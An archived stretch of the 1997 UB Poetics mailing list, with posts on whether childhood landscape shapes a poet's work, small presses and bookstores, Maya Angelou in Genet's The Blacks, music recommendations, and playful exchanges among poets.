I think that the landscape in which one grows up certainly affects the way one THINKS and perceives things. As for as affecting how one writes, I suppose this line of thought could be pursued. I'm a thorough East Coaster (Pennsylvanian, to be exact), and so KNOW dense forests, trees, hills, valleys, modest mountains (Appalachians) an ocean, beach sand, lakes etc. I would like to

think that somehow my thoughts are WOODED or shaded, or something irreplaceable about forests, hills, valleys. There is a certain built-in apprehension in living in a place where you can't always see the horizon, or can't see what's ahead of you 100 yards, or what's over the hill, around the bend, because some feature of the landscape is blocking your view, and so inherently extending your expectation or patience of what the "land" will reveal or give you (this could relate to Lacan's "fort-das" stage (far-near) of child development where the kid can throw and retrieve a toy, showing that she is learning/exploring to cope with separation and the coexisting fear/anxiety and pleasure that it produces. On the other hand, when I stayed a few nights in Tucson on the mandatory road trip across the country, I was keenly aware of the landscape and how it was VERY ALIEN to me, being from ANOTHER PLACE. It was ALL SAND. I was mesmerized. Sand and cactus, mostly the stunning Seguarros (the classic cactus shape) 15' to 25'! To an East Coaster this was incredible, being in the presence of what seemed like vigilant guardians. I was also confused by the washes, river beds that are dry most of the year until the rainy season fills them. I thought they were ugly, scars in the land, in the middle of the town. There was virtually NOTHING to block the view--this is what I noticed first. I felt naked, like something had been stripped away from my mind. I also felt disoriented, because of the lack of geographical features, or my ignorance of the knowledge of them or how to READ them or lack of experience with them. I started thinking about how growing up in this exposed environment would affect the mind and perceptions. Would it tend to make people more unguarded, more accepting of what they know and what they have? I have noticed a tendency in people of the midwest to be more unassuming then East Coasters. I wonder if someone from the Southwest has a clearer perception of things (whatever that means), because of this clarity in the environment. Of course this sounds like a silly overgeneralization, but there may be some truth in it. Any geosociologists/pschologists in the house?

Kyle Conner

↑ Index

544. Pam Brown
Tam Tam
Wed 22 Jan 1997

Thanks, Pierre Joris, for the Tam Tam information...& Tosh for prompting my vague recollections & renewing my interest...I have the wonderful MILLENIUM anthology & will look them up...

Cheerio for now
Pam

↑ Index

545. **Pam Brown**
Tam Tam the second
Wed 22 Jan 1997

P.S. I like Guy Debord as well...have only read the helpful & always current "Society of the Spectacle" and "Panegyric" (why '68 'failed')in translation...all the best, Tosh, for future publications

↑ Index

546. **Tosh**
Re: Tam Tam the second
Wed 22 Jan 1997

> *P.S. I like Guy Debord as well...have only read the helpful & always current "Society of the Spectacle" and "Panegyric" (why '68 'failed')in translation...all the best, Tosh, for future publications*

Thank you for your good wishes, I need them!

Tosh Berman
TamTam Books

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547. **Miekal And**
shapeofthepoem til may 68
Wed 22 Jan 1997

Douglas Barbour wrote:

, but I do think there's something happening in my responses that
> could be said to derive from the early experience of a particular
> landspace...

I favor the direction the lettrists & situationists went with translating topography to text with all their many notions of psychogeography & the drift. & in particular (being a visualpoet & all) how much of the creative work became maps of typography.

& actually for myself living in the landscape has replaced the need for organized texts, that Im much more likely to play sax or make things out of clay which is probably why I havent written a book in the 6 years Ive been out here.

miekal

who wonders now that we know what everyone is wearing & what they are reading & listening to, all that's left is sexual preference & favorite foods.

↑ Index

548. **Pierre Joris**
Re: AAVE (fwd)
Wed 22 Jan 1997

Tosh wrote:
>
> I do know their work and they are fantastic. Another one is Corrida Costa
> (first name may be wrong), and he is really FANTASTIC.
>
> Tosh Berman
> TamTam Books

Corrado, Tosh, Corrado -- Corrida is is famous spanish episode con blood
& guts in the afternoon. But you are right, Corrado is a wonderful poeta
who has Italian duende -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

549. **Pierre Joris**
Re: Tam Tam
Wed 22 Jan 1997

Pam Brown wrote:
>
> Thanks, Pierre Joris, for the Tam Tam information...& Tosh for prompting my
> vague recollections & renewing my interest...I have the wonderful
MILLENIUM

> anthology & will look them up...
>
> Cheerio for now
> Pam

ugh, Pam, they will be in vol 2 of MILLENNIUM, which won't be out until
the end of this year -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
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Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
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[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertation. -- Maurice Blanchot
==========

↑ Index

550. **KENT JOHNSON**

Re: name of great bookstore

Wed 22 Jan 1997

On January 22, Miekal And wrote:
  >
> one of the funniest examples I can think of is once Lyx & I attended a
> performance by George Quasha & Chuck Stein in Milwaukee, I believe put
> on by the incredible Woodland Patterns (or were they still called
> Boox/Books at this time?) The boys got up & blew us away with some
> sound poetry pieces that were some of the most aural sonics I had heard
> at that time. When they were done some band came on & played Beatles
> covers. As I remember we were provoked to a bit of poetic terrorism, but
> that's another story.
>
>
> Miekal who wonders why poets of all people cant spell his name right or
> spell x e x o x i a l correctly.

Aha! I got you here, mikael! It's Woodland Pattern, with no "s". But seriously, Karl Gartung and Anne Kingsbury's place has been for many years one of the great venues in the country for new poetry and music. One of the finest performance series in the country (and if you write them, they'll send you their beautifully produced schedules and promo broadsides), and surely one of the finest collections of small press poetry anywhere. I once lived around the corner from this magical place--I'm sure Miekal would agree with my suggestion that anyone within a few hundred miles take a weekend sometime to visit! I'll post the address tomorrow, or why don't you, Miekal, if you've got it handy.

Kent

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551. **Diane Marie Ward**

Re: Miller or Maya?

Wed 22 Jan 1997

Maya Angelou performed (dancing, singing, acting, writing) in Israel, Rome, Africa and elsewhere and was regarded for the attention she paid to all of her arts. She was in Les Noirs/ The Blacks in an off-Broadway production but I am not sure about France -- but it is probably a safe assumption that you are remembering her career correctly.

Diane Marie Ward
SUNY Buffalo

On Tue, 21 Jan 1997 [redacted] wrote:

> *A. Nielson wrote:*
> *"Not much to choose between there --*
>
> *But, to judge from this 1957 photo I'm looking at (NY World Telegram), Angelou was probably a much better night club entertainer than Williams -- She's bare foot in the photo -- is that a touch of calypso authenticity, or a sign of her past in Stamps -- Was she, as is reported, the best calypso singer ever to have come from Arkansas?"*
>
> *Unfortunately my Gallimard edition(?) of Genet's Les Noirs has passed from my hands - but my recollection is that Maya Angelou - circa 1959 - was a highly esteemed actress in the premier Parisian production of the play. I suspect there are people more expert than I on this list who can correct me if I'm only imagining this. Anyway I want to suspect her earlier history is more complicated than her poetry -- as well as her public personae -- of the last couple of decades might allow.*
>
> *Cheers,*

> *Stephen Vincent*

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552. **Tom Mandel**
Masada
Wed 22 Jan 1997

Herb Levy writes:

"I'm also hearing Cesaria Evora & John Zorn's Masada Chamber Ensembles/Bar Kokhba"

I love Cesaria Evora -- more Portugese. I love the sound of that language.

Zorn's double CD is one of the most wonderful musical experiences I can remember. I'm glad Herb mentioned it, and I want to underline his mention and recommend to all.

Tom

Screen Porch
****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

553. **Pierre Joris**
Re: Masada
Wed 22 Jan 1997

Tom Mandel wrote:
>
> Herb Levy writes:
>
> "I'm also hearing Cesaria Evora & John Zorn's Masada Chamber Ensembles/Bar
> Kokhba"
>
> I love Cesaria Evora -- more Portugese. I love the sound of that language.
>
> Zorn's double CD is one of the most wonderful musical experiences I can

> remember. I'm glad Herb mentioned it, and I want to underline his mention
> and recommend to all.
>
> Tom
>
> Screen Porch
> **********
> Tom Mandel * 2927 Tilden St. NW
> Washington DC 20008 * [redacted]
> vox: [redacted] * fax [redacted]
> **********

& I'll under-underline the pleasure of listening to Zorn (Masada Live playing right now as I type). My latest amour fou is for Marty Ehrlich and the Dark Wood Ensemble's "Emergency Peace" (a New Ear's present from Don Byrd) -- gorgeous, haunting.

BTW -- Tom gave a great reading at the Ear Inn last Saturday -- a tour de force of a poem! Thanks, Tom -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Everything that allows men to become rooted, through values or sentiments, in _one_ time, in _one_ history, in _one_ language, is the principle of alienation which constitutes man as privileged in so far as he is what he is, [...] imprisoning him in contentment with his own reality and encouraging him to offer it as an example or impose it as a conquering assertation. -- Maurice Blanchot
==========

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554. **Miekal And**
hypermedia apprenticeship @ Dreamtime Village
Wed 22 Jan 1997

WHERE ELSE CAN YOU LEARN HOW TO MILK A GOAT & PRODUCE AVANT LIT AT THE SAME TIME?

dreamtime village needs a 1997 hypermedia apprentice

This position offers skills and experience in publishing, networking & mail art, bookmaking, desktop publishing & hypermedia. In addition to the daily correspondence, photocopying, bookmaking, there are plenty of specific projects to be tackled : the neologism dictionary, an electronic version of Dreamtime permaculture, web page updates, posters for events, issues of various magazines including Talkingmail & Xerolage, new XE hardcopy catalogue, setting up of the Xexoxial archives & a Dreamtime Library, & more. We are also wanting to begin setting up a more permanent bookmaking / paper arts studio in the school. Hypermedia people should have basic skills on the Macintosh & be familiar with quark, word, freehand or ilustrator, & hypercard. Anyone interested should be able to commit to at least 6 months, if not longer. Apprentices live on site in one of our houses, & are expected to put in 20-30 hours/week in the office & participate in the daily necessities like cooking,upkeep as well as weekly meetings. Experience with coop living & group process is helpful. Cost is $100/month, includes basic foods & a room.

FOR MORE INFO CONTACT:
MIEKAL AND or Liz Was
[redacted]

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555. **daniel_bouchard**
Frost: shave of the poem
Wed 22 Jan 1997

Frost's folks were Easterners. The family moved to San Francisco when Bobby was still very young. Then his dad died. He and his mom (he then being about 11 years old) moved to New Hampshire and he graduated from a high school in Lawrence MA (which, despite being a failed rusty milltown today--rusty, that is, when it is not in flames) was a very thriving industrial town--Frost graduated from high school there twenty years before one of the most famous strikes in the country took place under the leadership of the Wobblies.

Anyway, he wrote, farmed and taught school then left with HIS family for England just before he turned forty. In England he wrestled with Ezra Pound; a friendly activity among manly poets of their day.

Then he came back to the States, became an institutionalized cracker-barrel poet, and won a lot Big Prizes, and died at 88.

Landscapes and poem shapes (polka dots and moonbeams) all have a connection in poetry but I don't believe that one's childhood has very much to do with it, unless say, a poet grows up in a landscape battered by war, or some other situation that leaves indeliable marks on the psyche.

I grew up in a land of tri-colored pixels at which one stared for hours. Alternating and direct currents flowed like clockwork. They say that place has changed little since left.

[redacted]

Mark Weiss wrote: I picked up Brathwaite's example of Frost (an Iowan, as I remember, who moved to New England when he was 40--but my memory may be faulty) because it seemed to me to demonstrate the absurdity of any easy one to one correspondence. I'm still curious what, if anything, Brathwaite meant.

By the way, the rural New England of Frost's day was, and in many places still is, a landscape of failing, rusty milltowns and farms gone back to unkempt, untended second-growth forest.

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556. Douglas Barbour

Re: Brathwaite/Frost/shapeofthepoem etc

Wed 22 Jan 1997

Well, Mark Weiss, I do think that revision is a hoot! (& I'd never ever suspect you of being involved beyond your scholarly exegesis). Yet, I have to wonder if there isnt some way to discuss at least some aspects of the questions hovering about this thread.

I dont know that it enters in any direct way my poetry, but I do think that growing up on the Canadian prairies had some kind of effect on my perceptions. There's not much obvious change there, so you tend to recognize minimal shifts. Does this have something to do with the music, the art, & some of the writing i can connect with? I'm not sure how, exactly, but I do think there's something happening in my responses that could be said to derive from the early experience of a particular landspace...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

in the rooms you live in
other people's books line your shelves

bpNichol

↑ Index

557. **maria damon**
Re: Tam Tam the second
Wed 22 Jan 1997

---

oh yeah, thanks for the info on TamTam: looks exciting and tres worthwhile--md

In message <v01540b02af0af8471276@[207.211.61.28]> UB Poetics discussion group
writes:
> >P.S. I like Guy Debord as well...have only read the helpful & always current
> >"Society of the Spectacle" and "Panegyric" (why '68 'failed')in
> >translation...all the best, Tosh, for future publications
>
>
>
> Thank you for your good wishes, I need them!
>
> Tosh Berman
> TamTam Books
>

↑ Index

558. **Miekal And**
greener Pastures
Wed 22 Jan 1997

---

david:

if you put Dreamtime Village on your itinerary I'll cook you some of my favorite indian dishes, say chicken coconut curry, some onion bread & some tempura (which I forget the indian name of, maybe pakora) with some tamarind dipping sauce & even make it without the hot. your reading would be well attended by chickens, ducks, goats & we might even be able to stir up a few humans. if nothing else we could get maria to drive down from the cities.

miekal who will venture to say his sexual preference is straight & poly
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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559. **maria damon**

Re: POETICS Digest - 18 Jan 1997 to 19 Jan 1997

Wed 22 Jan 1997

---

last spring, kyle, we had a resoundingly contentious discussion about geo-sociopsychology, with much defending and complaining about the midwest (i was one of the complainers, being a new englander first and then 7 yrs in california). you can revisit those lively debates thru the epc digest. this time around sounds more generous and nuanced, and more poetix-related, but i may sit this round out cuz i was so active in the last one.--md

In message <[redacted]> UB Poetics
discussion group writes:
> I think that the landscape in which one grows up certainly affects
> the way one THINKS and perceives things. As for as affecting how one
> writes, I suppose
> this line of thought could be pursued. I'm a thorough East Coaster
> (Pennsylvanian, to be exact),
> and so KNOW dense forests, trees, hills, valleys, modest mountains
> (Appalachians) an ocean, beach sand, lakes etc. I would like to think
> that somehow my thoughts are WOODED or shaded, or something
> irreplaceable about forests, hills, valleys. There is a certain
> built-in apprehension in living in a place where you can't always see the
> horizon, or can't see what's ahead of you 100 yards, or what's over the
> hill, around the bend, because some feature of the landscape is
> blocking your view, and so inherently extending your expectation or
> patience of what the "land" will reveal or give you (this could relate to
> Lacan's "fort-das" stage (far-near) of child development where the kid can
> throw and retrieve a toy, showing that she is learning/exploring to cope
> with separation and the coexisting fear/anxiety and pleasure that it
> produces.
> On the other hand, when I stayed a few nights in Tucson on the
> mandatory road trip across the country, I was keenly aware of the
> landscape and how it was VERY ALIEN to me, being from ANOTHER PLACE.
It
> was ALL SAND. I was mesmerized. Sand and cactus, mostly the stunning
> Seguarros (the classic cactus shape) 15' to 25'! To an East Coaster this
> was incredible, being in the presence of what seemed like vigilant
> guardians. I was also confused by the
> washes, river beds that are dry most of the year until the rainy season
> fills them. I thought they were ugly, scars in the land, in the middle

> of the town.
> There was virtually NOTHING to block the view--this is what I noticed
> first. I felt naked, like something had been stripped away from my
> mind. I also felt disoriented, because of the lack of geographical
> features, or my ignorance of the knowledge of them or how to READ them
> or lack of experience with them. I started thinking about how growing up
> in this exposed environment would affect the mind and perceptions. Would
> it tend to make people more unguarded, more accepting of what they know
> and what they have? I have noticed a tendency in
> people of the midwest to be more unassuming then East Coasters. I wonder
> if someone from the Southwest has a clearer perception of things
> (whatever that means),
> because of this clarity in the environment. Of course this sounds like a
> silly overgeneralization, but there may be some truth in it. Any
> geosociologists/pschologists in the house?
>
> Kyle Conner
>

↑ Index

560. **maria damon**
Re: Take A Letter, Maria
Wed 22 Jan 1997

---

you are quite rite, aldon, i left out the initial A. it's an interesting and benignly easy read (no high theory, no "difficult" poetry). c.l. dellums (ron's father?) was a key player. randolph was not himself a porter, but a high-profile socialist-oriented "race man" imported to help create a union. there was tension between him and some of the porters involved in the organizing drive (because he wasn't a porter, among other reasons, also, his seat was NYC which took a sometimes belittling attitude toward other equally activist chapters like oakland and especially chicago), but also a lot of cooperation and mutually supportive strategizing. its esp interesting cuz right now my U is ina union drive so i'm learning a bit about the whole concept of "strategy," which is foreign to my nature.--md

In message <[redacted]> UB Poetics
discussion group writes:
> Actually, I think it's A. Philip Randolph, unless you're reading about a
> nother Philip all together --
>
> seriously, though -- I happen at this very moment to be reading an old
> bio. of Randolhp, and would love to compare notes with you on the book
> you're reading --

>
>
> AND EVERYBODY -- in the PBS American Experience I watched last night,
> titled "You Don't Have to Ride Jim Crow," the reunited FOR freedom riders
> recollected a respite when they visited Black Mountain College in the
> midst of their battles to integrate the bus lines of the South -- this
> around 1947 -- would like to learn MUCH more of this --
>

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561. **maria damon**
Re: Miller or Maya?
Wed 22 Jan 1997

---

aldon rites:
> Not much to choose between there --
>
> But, to judge from this 1957 photo I'm looking at (NY World Telegram),
> Angelou was probably a much better night club entertainer than Williams
> -- She's bare foot in the photo -- is that a touch of calypso
> authenticity, or a sign of her past in Stamps -- Was she, as is reported,
> the best calypso singer ever to have come from Arkansas?
>
to be fair, and stephen vincent already posted on this, angelou's main shtick is not being a poet; she's a public intellectual of a less academic stripe than cornel west etc, but she has combined an acting career with activism, and has written a series of autobiographies that were mainstay reading for many way before her current incarnation as inaugural poet #1.

↑ Index

562. **Aldon L. Nielsen**
Re: The Blacks
Wed 22 Jan 1997

Not just Angelou -- the American cast of "The Blacks" (as it was billed here) included the majority of the black American actors who would go on to become known for their accomplishments on the screen in later years -- It was, by all accounts, an astonishing production -- I have seen production stills -- does anybody know if any kind of recording was ever made of that cast --

and even Angelou's prose is more interesting than those poems --

by the way, here is the unrevised first line of Miller Williams's poem, retrieved from his wastebasket:

"We xerox America."

↑ Index

563. **Miekal And**
Re: greener Pastures
Wed 22 Jan 1997

DS wrote:
>
> >
> >miekal who will venture to say his sexual preference is straight & poly
>
> as in poly - ester, - thene, - vocal, - andry, - chromatic, - dactic, -
> nesian, - tonal, - pod????
>
> dan???

& to that I would add - amorous & -morphous

& recipes: we have a great recipe at dreamtime for homepathic text poisoning!

↑ Index

564. **amato**
Re: Frost: shave of the poem
Wed 22 Jan 1997

---

just reading carolyn heilbrun's new bio. of gloria steinem: _the education of a woman: the life of gloria steinem_... most def. worth reading, folks...

from the intro, which i think speaks to this question of place, person & memory:

"To compare Steinem's childhood with Charles Dickens's is to recognize a phenomenon common to both, and probably common to many. The months -- they amounted to less than a year -- that Dickens spent in a blacking factory reverberated throughout his life like a childhood assault, which indeed for him they were. As an adult he could hardly bring himself to speak of that experience, even to his closest friends; he was able only to transform it into the childhood adventures of his various characters. Steinem's Toledo, Ohio, years -- 1944-1951 -- were Dickens's blacking factory. But, living in a different time, she could speak of them, provided they could be encapsulated in entertaining anecdotes; fearing the danger it might hold, she walled off the pain of that time until she turned fifty. For her, Toledo explained everything, as for Dickens the blacking factory months explained everything." (xxiii-xxiv)

i rather like this notion, that a particular period of one's life, lived wherever or however, becomes a formative 'event' (kali may still be out there---her book on formative traumatic events, _worlds of hurt_, certainly relevant here)... it esp. appeals to me after having spent three years mself working out such intensities, for a period of roughly eight years... yes, landscape can be a major factor---constructed, certainly, i'll hedge on the cognitive "view"... anyway, melville's whaling adventures (a year and a half?) another example, but surely there are numerous authors whose work reveals a preoccupation with a specific portion of their lives...

best,

joe

↑ Index

565. **Christopher Reiner**

Toilet Pastures

Wed 22 Jan 1997

From yesterday's Daily Variety (line breaks courtesy of my computer):

W.C. Fields Confounds Egypt's Censors

By Peter Warg

CAIRO (Variety) - Brush up your English or find a new job, Egyptian film censors and translators are
being told.

The warning comes after a U.S. picture's reference to comedian W.C. Fields was translated as "toilet
pastures," leaving viewers who could follow only the Arabic subtitles wondering what in the world
the characters were talking about.

In another American film, "the computer is down" was rendered in the Arabic subtitle as "the
computer is in the basement." Unfortunately, the scene made it clear that the computer in question was
on an upper floor of a high-rise office building.

Though the subtitlers and censors were subjected to language exams before their hiring, Dr. Gaber al
Asfour, undersecretary at the Ministry of Culture, has ordered retesting. Those not passing muster
will be dismissed, al Asfour says.

In Egypt, foreign films screened in theaters or broadcast on TV are subtitled, not dubbed. And when
it comes to cutting those pictures, censors look for scenes of sex or violence to snip rather than
obscene dialogue.

Thus when the Vietnam war epic "The Deer Hunter" was recently shown on Egypt's national TV, the
picture's steady flow of vulgarities was left intact; only violent scenes were snipped. The movie's
swearing was either not translated, or else the words were bowdlerized. "Go f--- yourself!" was
rendered as "you're not nice."

↑ Index

566. Miekal And
crossmedia beliefware
Wed 22 Jan 1997

one of my favorite all time topics was mentioned in passing the other day but Ive lost the note so I cant quote it. but it has been the origin of much whimsy & wonder to me since the very beginning of my adventures in culturefuck many years ago. simply put, "why is it often the case that artists & writers who very capably experiment & stretch boundaries in their chosen idiom often have very mainstream tastes in other media." while the current music listening thread is certainly not indicative of anyone's complete musical diet, I do have the feeling that there are many here whose taste in dance, music, theatre, 2 & 3 dimensional, installation, performance art & film is not consistent with their interest for the writers of this list...

one of the funniest examples I can think of is once Lyx & I attended a performance by George Quasha & Chuck Stein in Milwaukee, I believe put on by the incredible Woodland Patterns (or were they still called Boox/Books at this time?) The boys got up & blew us away with some sound poetry pieces that were some of the most aural sonics I had heard at that time. When they were done some band came on & played Beatles covers. As I remember we were provoked to a bit of poetic terrorism, but that's another story.

Miekal who wonders why poets of all people cant spell his name right or spell x e x o x i a l correctly.

↑ Index

567. **Matthias Regan**

Re: POETICS Dig: Brathwaite/Frost/it's wonderful

Wed 22 Jan 1997

I agree completely:

> *It's wonderful how thoroughly one can be misunderstood, even on simple matters.*

More generally, I apoligize for a serious error in my message of the same title yesterday: Hill's book is _Canaan_.

> *Brathwaite is reported as saying that the "shape" of our poems is a consequence of the "shape" of our childhood landscape. I have no idea what this means, and perhaps this was a casual and careless comment of the kind we all make in conversation--the testing of an idea not worth pursuing. But I respect the man far too much to imagine that he means as a native of a small island he should be expected to write in small, isolate lines or breath-groups, whereas...*

Actually I did not say this, I said that Donald Davie (or someone) suggested that the physical shape of his poems mimicked the "shape" of the natural landscape in which they were written. I was careful not to apply this directly to Brathwaite; nor did I "expect" him to write in any particular way; at the same time, Davie's possibly colonizing and undoubtedly rather condescending (to the circumstances of the N. American poets mentioned) sense of "shape-of-the-land should appear in shape-of-the-verse" might not necessarily be unknown to Brathwaite. I was, perhaps naively, attempting to add a facet to the observations, not to smash them. Perhaps as you say, Mark Weiss, the idea was never worth pursuing.

Here is a poem by Geoffrey Hill from the above-mentioned book. It is partially in response to the Parliment selling a public graveyard to a private buyer.

To The High Court of Parliment (November 1994)

Where's probity in this --
the slither-frisk
to lordship of a kind
as rats to a bird-table?

England -- now of genius
the eidolon --
unsubstantial yet voiding
substance like quicklime;

Privatize to the dead
her memory:

let her wounds weep
into the lens of oblivion.

Matthias, the
"patently absurb"

↑ Index

568. **Mark Weiss**
Re: Frost: shave of the poem
Wed 22 Jan 1997

Thanks for the corrective on Frost bio.

At 09:46 AM 1/22/97 EST, you wrote:
>Frost's folks were Easterners. The family moved to San Francisco when Bobby was
>still very young. Then his dad died. He and his mom (he then being about 11
>years old) moved to New Hampshire and he graduated from a high school in
>Lawrence MA (which, despite being a failed rusty milltown today--rusty, that
>is, when it is not in flames) was a very thriving industrial town--Frost
>graduated from high school there twenty years before one of the most famous
>strikes in the country took place under the leadership of the Wobblies.
>
>Anyway, he wrote, farmed and taught school then left with HIS family for
>England just before he turned forty. In England he wrestled with Ezra Pound; a
>friendly activity among manly poets of their day.
>
>Then he came back to the States, became an institutionalized cracker-barrel
>poet, and won a lot Big Prizes, and died at 88.
>
>Landscapes and poem shapes (polka dots and moonbeams) all have a connection in
>poetry but I don't believe that one's childhood has very much to do with it,
>unless say, a poet grows up in a landscape battered by war, or some other
>situation that leaves indeliable marks on the psyche.
>
>I grew up in a land of tri-colored pixels at which one stared for hours.
>Alternating and direct currents flowed like clockwork. They say that place has
>changed little since left.
>
>[redacted]
>

>_____
>
>Mark Weiss wrote:
> I picked up Brathwaite's example of Frost (an Iowan, as I remember, who moved
>to New
>England when he was 40--but my memory may be faulty) because it seemed to me
>to demonstrate the absurdity of any easy one to one correspondence.
>I'm still curious what, if anything, Brathwaite meant.
>
>By the way, the rural New England of Frost's day was, and in many places
>still is, a landscape of failing, rusty milltowns and farms gone back to
>unkempt, untended second-growth forest.
>
>

↑ Index

569. **henry**
Re: Frost: shave of the poem
Wed 22 Jan 1997

On Wed, 22 Jan 1997 09:46:28 EST <[redacted]> said:
>
>I grew up in a land of tri-colored pixels at which one stared for hours.
>Alternating and direct currents flowed like clockwork. They say that place has
>changed little since left.

All you so-called would-be cowboy poets - Bonanza's still on, on some channels. heh heh.

- Jack Spandrift, "the hard-drinkin, tough-talkin po-yeti from Brainerd & Dernbard & thereabouts"

↑ Index

570. **David Bromige**
Shape/shape/Frost/N England
Wed 22 Jan 1997

Frost started out in california, as i recall the norton saying before I dropped it from an 18th storey window into a deep sewage pond. But his poem "Stopping by Woods" was written to be sung to a melody later used for the song "Hernando's Hideaway" from the Broadway show "Lost in DB's Memory Bank." The Latin beat of this tune reveal Frost's true colors. Hope this clarifies. db.

↑ Index

571. Miekal And
address & hours of great bookstore
Wed 22 Jan 1997

KENT JOHNSON wrote:

>
> Aha! I got you here, mikael! It's Woodland Pattern, with no "s". But
> seriously, Karl Gartung and Anne Kingsbury's place has been for many
> years one of the great venues in the country for new poetry and
> music. One of the finest performance series in the country (and if
> you write them, they'll send you their beautifully produced
> schedules and promo broadsides), and surely one of the finest
> collections of small press poetry anywhere. I once lived around the
> corner from this magical place--I'm sure Miekal would agree with my
> suggestion that anyone within a few hundred miles take a weekend
> sometime to visit! I'll post the address tomorrow, or why don't you,
> Miekal, if you've got it handy.
>
> Kent

Woodland Pattern
720 E. Locust St.
Milwaukee, WI 53212
[redacted]

Their hours are:
Tuesday - Friday 12-8
Sat/Sun 12-5

Their activities in promoting the experimental arts is unparalleled in the midwest. I believe they have been around for 20 years, & when ever Lyx & I are weary of all the time we donate to Xexoxial or Dreamtime we think of the unbelievable commitment that Karl & Anne have made to the midwest cultural scene. I first became familiar with a lot of the folks on this list in the early 80s thru bookbuying binges there. Where else can you find a first edition Bob Cobbing with the original cover price?

M I E K A L who wonders
why poets of all people cant
spell his name right
or spell
x e x o x i a l
correctly.

↑ Index

572. **Miekal And**
Taproot?
Wed 22 Jan 1997

Luigi,

Malok is here visiting & is wondering what of the next Taproot. Whens it coming out (talk about sexual preference!)?

mA

↑ Index

573. **David Bromige**
'TOILET PASTURES"
Wed 22 Jan 1997

Thanks for yr posting, Chris. reminds me of the idiom "out of sight, out of mind" becoming via translation into whatever other tongue, "invisible lunatic."

Before I "got" it, I was speculating that the phrase you make yr "subject," had originally been "Twilight Pastures", or "Toilet Postures." The latter sounds more like Fields.

Praise be for the language that never sits still! db

re-Mikael And's suggestions for threads: I like to eat everything but spicy food gives me the most trouble.

↑ Index

574. **David Bromige**
Addresses: Steve Evans/Jennifer Moxley
Wed 22 Jan 1997

---

anyone having an e-ddress for either Steve or jennifer pleae backchannel or post thanks db.

↑ Index

575. **pollet**
Backwoods Broadsides backlist
Wed 22 Jan 1997

I've had a couple of requests to post the whole list of my Chaplet Series, so here goes. All available:

1. The Dandelion Sutras / Sylvester Pollet
2. Every Moment / John Wetterau
3. River Songs / Kathleen Lignell
4. The Memory of the Wound / Petr Mikes
5. Outside the Circle / Elizabeth Pollet
6. Mad Songs / Theodore Enslin
7. Songfables and Songflowers / Robert Desnos tr. Carl Little
8. Stem / David Gordon
9. LUCA / Rochelle Owens
10. Eight Songs and Meditations / Carl Rakosi
11. 13/17 / Bern Porter
12. The Empty Space / James Laughlin
13. A Baker's Dozen / Cid Corman
14. Postcard Poems / Jackson Mac Low
15. Road Side / Ronald Johnson
16. Nashvillanelle / George Economou
17. Jascha Heifetz / Anna Meek
18. Gangsta Flix / Dick Higgins
19. 22 Death Poems / Diane di Prima
20. Writing / Anne Tardos
21. Watchfulness / Peter O'Leary
22. a slice at that / Anne Waldman
23. Jasmine & Thunder / Andrew Schelling
24. Others' Lines / David Giannini
25. A Wind Off The Sea / Lane Dunlop

Subscriptions $10 yr, 8 issues ppd. Back issues $1 ppd. Canadian bills are ok--add a few for exchange & extra postage. Come to think of it, French or Italian bills ok too. Somebody sent me Yen though, & I just sent them on to Corman in Kyoto--he's always broke.

Sylvester Pollet
Backwoods Broadsides
RR 5 Box 3630
Ellsworth ME 04605-9529
USA

↑ Index

576. **David Bromige**

Toilet Pastures

Wed 22 Jan 1997

---

george bowering has kindly backchanneled me (merci pour ca, georges) to point out a possible ambiguity in my footnote, concerning food and sex. i was

only referring to food, and my comment anticipates a 22-city tour during which i expect a number of listmembers to be taking me out to dinner. plans for this are already afoot and should be complete by the next century. I do look fwd to reading about other people's sexual preferences (well, except for yours, george) but as for my own, to paraphrase lisa robertson's terrific poem "The Device" (Hole #6), I choose not to speak about them. hope this clears matters up before any harm is done. db.

↑ Index

577. **DS**
Re: The Blacks
Wed 22 Jan 1997

---

contrasts interestingly with poets in NZ who have been known to say "we xerox zebras"

> *by the way, here is the unrevised first line of Miller Williams's poem, retrieved from his wastebasket:*
>
> "*We xerox America.*"

↑ Index

578. **David Bromige**
slepign
Wed 22 Jan 1997

---

i dotn nkwo miekal wyh, tbu tpeso rea tonriousyl ousyl lepersls. as tish stil rbase uot. rplnasleroy, i (got that one ok!) ttrabiuet it ot troepy enigb a knid of phemorticala lisxedia verided ni prat rofm terilal if undognosed lixsidea. hwat do theros knith?

↑ Index

579. **maria damon**
Re: shapeofthepoem til may 68
Wed 22 Jan 1997

> miekal
>
> who wonders now that we know what everyone is wearing & what they are
> reading & listening to, all that's left is sexual preference & favorite
> foods.
>

i never met a dairy product i didn't like, but beyond that, breadpudding w/ whipped cream, anything w/ whipped cream, rice and beans, organic baby greens,
crusty sourdough bread, les garcons.

↑ Index

580. **maria damon**
Re: shapeofthepoem til may 68
Wed 22 Jan 1997

> miekal
>
> who wonders now that we know what everyone is wearing & what they are
> reading & listening to, all that's left is sexual preference & favorite
> foods.
>
i forgot most impt moi-meme

↑ Index

581. **DS**
Re: greener Pastures
Wed 22 Jan 1997

> *miekal who will venture to say his sexual preference is straight & poly*

as in poly - ester, - thene, - vocal, - andry, - chromatic, - dactic, - nesian, - tonal, - pod????

dan???

↑ Index

582. **Brian Carpenter**
Re: Elmslie in Seattle
Wed 22 Jan 1997

On Mon, 20 Jan 1997, Herb Levy wrote:

